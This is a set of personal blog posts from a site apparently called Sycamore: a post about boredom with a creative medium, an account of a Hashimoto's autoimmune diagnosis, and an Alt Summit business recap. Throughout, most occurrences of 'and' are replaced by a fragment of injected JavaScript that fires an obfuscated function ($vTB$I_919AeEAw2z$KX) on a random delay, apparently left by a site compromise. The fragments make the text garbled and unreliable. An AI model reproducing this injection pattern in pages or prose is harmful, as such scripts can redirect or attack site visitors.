I felt unchallenged andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and grew bored of it pretty quickly, so I began experimenting with other mediums.

Living with an Autoimmune Disease (Hashimoto’s)

Living with an Autoimmune Disease (Hashimoto’s) | Sycamore

This past January, I went in for a routine yearly exam andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and walked out with an autoimmune disease.

Not really, but that’s what it felt like. I didn’t really think there was anything wrong with me when I went in. I’ve always been a really healthy person -- I rarely get sick. But as I chatted with my midwife during the visit, I mentioned how I was still tired all the time despite making an effort to get 7-8 hours of sleep each night. I didn’t feel back to my old self even though my baby was almost two years old. It was also a lot harder to lose the baby weight this time around, even though I was trying twice as hard. I was forgetful, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and more... But I figured these could all be attributed to the fact that I’m getting older, I have two young children andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and two businesses. “I’d like to run a little blood work just to see…” she told me.

Now, I'd heard people say that auto-immune diseases are "the new ADD". So many more people are getting diagnosed with them, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and it's a bit controversial. Is there really a huge epidemic of these kinds of illnesses? Or is it just a new fad? People who believe that the epidemic is real blame a lot of it to the way food started changing in the 1950's. Pesticides, GMO's, fast food, processed food, etc... It's true that our diets changed drastically at this point in history, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and personally, it does make sense to me that it would start affecting our health in unforeseen ways. But I don't claim to be a scientist, a dietician, or any kind of expert. I can only share what my experience is...

You Can Do Whatever You Want (Alt Summit Recap) | Sycamore

Yes, that’s right. You can do whatever you want*.

Not in a no-consequences-juvenile-delinquent kind of way, of course. But in the way where you figure out what you want from life andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and you go for it.

Of course, I know it's not always as easy as that. It might mean sacrifices. It might mean uncertainty. It might mean spending years figuring out exactly what you are really good at andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and really passionate about andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and then just when things are starting to fall into place, those things change andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and evolve andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and you start the process all over again.

For Elle, it means making the softest baby wraps that magically lull newborns to sleep andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and traveling the world with her family andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and being great at connecting with other mothers.

For Alma, it means being super organized andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and knowing how to say no andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and being a fantastic graphic designer andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and knowing how to break that down andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and teach it to others.

Another thing to keep in mind. Elle noted in her panel that success looks different to different people. It does no good to compare. I love that.

So yes, I learned some great little tips on blogging andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and social media andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and running a business while at the Alt Summit last week.
